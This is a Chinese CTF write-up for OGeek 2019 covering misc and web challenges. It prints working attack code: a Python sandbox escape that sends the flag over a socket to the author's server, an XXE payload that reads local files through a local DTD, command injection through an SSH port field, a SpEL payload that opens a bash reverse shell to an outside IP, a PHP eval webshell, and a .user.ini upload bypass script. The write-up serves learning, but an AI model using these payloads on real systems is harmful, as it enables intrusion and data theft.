菠萝吹雪's Studio.

Ogeek ctf wp

字数统计: 1.9k阅读时长: 9 min
2019/08/27 Share

catch fun (签到)

百度 到oppo的手机
a32fdb74f9b905a5e4c7b73ab9d57ba.png-100.9kB

flag{Reno}

MISC

2019

lsb,BGR发现base64字符串QW8obWdIW11XTyxyOFVTM0dNMlIySSVZQjdzdA==
2.png-134.9kB

提取出来后解密两次,一次base64,一次base85.

flag{~h!%3W-9jKB6\(fG}

PyBox

一道沙盒逃逸题目,题目提示,cut和sleep,在shell中没有回显,考虑应该是需要盲注,但是测试了发现,python的socket模块没被禁用。。。。那就直接在服务器上开监听端口,弹flag出来
图片

那就不写时间盲注脚本了,直接上,但是cat被过滤,用cut读会只读到一个+,socket连接就断了,所以加了参数

1
2
3
4
5
6
7
__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('sleep 5')
ip = "xxx.xxx.xxx.xxx"
port = 9999
x=__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('so'+'cket').__getattribute__('socket')()
x.connect((ip, port))
y=__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('popen')('cut -c 1-100 flag')
x.send(y.read())

得到flag

图片

flag{Pyt5on_S4ndB0x+4pParmOr_S4ndb0x}

WEB

Look around

题目描述是tomcat:8-jre8,是docker的镜像名,先把镜像下下来
然后试试看能不能xxe,尝试xxe,但无回显,看来是xxe了
3.png-204.6kB

搜索文章和fuzz时发现这篇文章很像,利用的是本地DTD,想到镜像

https://xz.aliyun.com/t/5860

找一下有什么dtd

发现在这里/usr/share/xml/fontconfig/fonts.dtd

随后构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /webserver/callback HTTP/1.1
Host: 47.107.253.140:18080
Content-Length: 430
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://47.107.253.140:18080
Referer: http://47.107.253.140:18080/webserver/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=1BC04B33525DA10812FD0EA3937FA758
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<request>
<status>&data;</status>
</request>

4.png-167.7kB

flag{f1c6811d4dce2ae37613cee977febe305f4de8fe}

Easy Realworld Challenge

Gate One ,百度了解一下是一个web console,浏览功能的时候无意中发现有一个logview的功能,盯着看了一会儿发现有个log比较有意思,内网地址是 172.18.0.3,用的telnet协议连接,用户名是ctf
5.png-199kB

有半个flag,题目说有半个在内网,猜测会不会放在前端或者其他地方,看着host文件蛮像的,结果不是
6.png-74.1kB

就这么盯着看了一会儿,发现flag又变完整了
7.png-89.9kB

flag{9d521975ac1a796fdfa207d65affe3e8f2bc9d5ae4f973cc89087ba290bce989}

Easy Realworld Challenge 2

还是Gate One,继续研究时发现,在ssh连接自己的服务器时会有个fingerprint key,控制台发现会执行 GateOne.ws.send函数,去github上找到关键文件ssh.py,最终定位到这里
10.png-52.1kB

发现可以命令执行,但是前提是获取到fingerprint key,再看怎么执行函数get_host_fingerprint,

12.png-59.3kB

13.png-70.6kB

到Gateone.ws.send这儿开始有点熟悉了,之前在前端里看到过这个函数

1
GateOne.ws.send(JSON.stringify({"go:log": message}));

看来要变成json格式,根据抓到的包,遂尝试

1
GateOne.ws.send('{"terminal:ssh_get_host_fingerprint":{"host":"47。107.89.184","port":"22;ls;"}}')

有回显

1
2
3
4
5
6
7
8
9
10
11
message: 
{…}

fingerprint: null

host: "47.107.89.184"

result: "Error: Could not determine the fingerprint of 47.107.89.184:22;ls;... 'usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec]\n [-D [bind_address:]port] [-E log_file] [-e escape_char]\n [-F configfile] [-I pkcs11] [-i identity_file]\n [-J [user@]host[:port]] [-L address] [-l login_name] [-m mac_spec]\n [-O ctl_cmd] [-o option] [-p port] [-Q query_option] [-R address]\n [-S ctl_path] [-W host:port] [-w local_tun[:remote_tun]]\n [user@]hostname [command]\nbin dev gateone lib media opt proc run srv tmp var\nboot etc home lib64 mnt ppppp_f_l_4_g_mmm root sbin sys usr\n/bin/sh: 1: -oUserKnownHostsFile=none: not found'"

<prototype>: Object { … }
/terminal/ssh/static/ssh.js:1:30787

发现flag位置在根目录,名字是ppppp_f_l_4_g_mmm,再cat一下得到flag
flag{4a69ef35f058702dd0196e25e69383d284ebad33a1ef4ceb2bb364a34d41026d}

render

springboot的框架,一开始以为是xss弹cookie,但是没有cookie,联想到前不久才看到的spel注入,进行尝试
8.png-13.8kB

发现存在注入,成功输出字符串,接下来考虑如何执行命令,spel解析格式不是很懂
参考的ruin师傅的两篇文章,其实就是T()运算符,赞一波ruin师傅的文章

1
2
http://rui0.cn/archives/1015
http://rui0.cn/archives/1043

9.png-18.2kB

还是比较简单,貌似无任何过滤,一开始打算用dnslog外带命令,但是试了好多次无果(登上去才发现没有curlping),最后直接getshell 拿到flag
最终payload:

1
2
  <img   th:text='${T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","sh -i >& /dev/tcp/47.107.89.184/4444 0>&1"}
)}' >

flag{nBz9mertYP@pyyZxx9@nn}

Enjoy Your Self

一开始的源码有点类似pwnhub的题目另一份文件
遂构造脚本,类似盲注的方法爆破文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

payload="0123456789bcdefghijklmnopqrstuvwxyz_"

url="http://47.107.255.20:18088/users/9b32dd47a50e54d0dbbd3da894c40c01/index.php?filename="
current_data=""
def send(current_data):
#filename=""
filename=current_data
for p in payload:
filename+=p
while len(filename) != 8:
filename+="a"
#print(filename)
url1=url+filename
#print(url1)
r =requests.get(url1)
url2="http://47.107.255.20:18088/users/9b32dd47a50e54d0dbbd3da894c40c01/backup/"+filename+".txt"
url3 = "http://47.107.255.20:18088/users/9b32dd47a50e54d0dbbd3da894c40c01/backup/aaaaaaaa.txt"
r1=requests.get(url2)
#r3 = requests.get(url3, timeout=5)
#r2 = requests.get(url2, timeout=5)
status=r1.status_code
#print(status)
#print(r1.content.decodreturn chr(ord(p)-1)e("utf-8"))
if status ==200:
return chr(ord(p)-1)
#return p
filename=current_data


for k in range(8):
current_data+=send(current_data)
print(k,current_data)

爆破出文件名是aefebab8.txt
访问得到另一个源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!-- src/8a66c58a168c9dc0fb622365cbe340fc.php -->

<?php
include "../utils/utils.php";

$sandbox = Get_Sandbox();

if(isset($_REQUEST['method'])){
$method = $_REQUEST['method'];

if($method == 'info'){
phpinfo();
}elseif($method == 'download' and isset($_REQUEST['url'])){
$url = $_REQUEST['url'];
$url_parse = parse_url($url);

if(!isset($url_parse['scheme']) or $url_parse['scheme'] != 'http' or !isset($url_parse['host']) or $url_parse['host'] == ""){
die("something wrong");
}

$path_info = pathinfo($url);

if(strpos($path_info['filename'], ".") !== false){
die("something wrong");
}

if(!Check_Ext($path_info['extension'])){
die("something wrong");
}

$response = GetFileInfoFromHeader($url);

$save_dir = "../users/${sandbox}/uploads/{$response['type']}/";

if(is_dir(dirname($save_dir)) and !is_dir($save_dir)){
mkdir($save_dir, 0755);
}

$save_path = "{$save_dir}{$path_info['filename']}.{$response['ext']}";
echo "/uploads/{$response['type']}/{$path_info['filename']}.{$response['ext']}";

if(!is_dir($save_path)){
file_put_contents($save_path, $response['content']);
}
}
}

有一个phpinfodownload的功能,还有两个未知函数,sandbox()GetFileInfoFromHeader() download的功能是将远程文件保存到自己的目录下,中间必须用http协议,用parse_url解析url,过程中还会进行文件名校验,然后经过GetFileInfoFromHeader()获取文件内容和类型,建立与类型相对应的目录,最终保存文件。浏览 phpinfo的时候发现开启allow_url_fopen,没有openbase_dir,以及一大堆disable_functions.
经过fuzz发现GetFileInfoFromHeader()函数,猜测该函数通过header 来获取文件类型,尝试用content-type 绕过,并且配置本地的nginx.conf ,将本地png解析为php,重写php,最后让题目去download本地的png图片

1
2
3
4
5
<?php
header('Content-Tyoe: aa/php/.');
header('Content-Travsfer-Encoding: binary');
echo '<?php eval($_POST[1]);';
>

绕过成功,但是无法解析。又得另寻他法。
11.png-17.6kB

于是乎想到了最近比赛 考的比较多的htaccess.user.ini,我用的是.user.ini,.user.ini会将规则作用到子目录,于是想到可以将.user.ini放到user目录下,利用题目一开始的index.php来解析我传上去的文件。脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
url1="http://47.107.255.20:18088/src/8a66c58a168c9dc0fb622365cbe340fc.php?method=download&url=http://47.107.89.184:8081/index.png"



while True:
url2="http://47.107.255.20:18088/src/8a66c58a168c9dc0fb622365cbe340fc.php?method=download&url=http://47.107.89.184:8081/.png"
data={"aa": "echo (file_get_contents('/flag'));"}
a=requests.get(url1)
b=requests.get(url2)

print(b.text)
#while True:
url3="http://47.107.255.20:18088/users/c4f4df9a72ed4bad64629b941f3ef66e/index.php"
c=requests.post(url3,data)
#if "phpinfo" in c.text:
print(c.text)

最后flag
flag{CoNgr4tuL3tIons_You_g0t_thi5_fLag}

CATALOG
  1. 1. catch fun (签到)
  • MISC
    1. 1. 2019
    2. 2. PyBox
  • WEB
    1. 1. Look around
    2. 2. Easy Realworld Challenge
    3. 3. Easy Realworld Challenge 2
    4. 4. render
    5. 5. Enjoy Your Self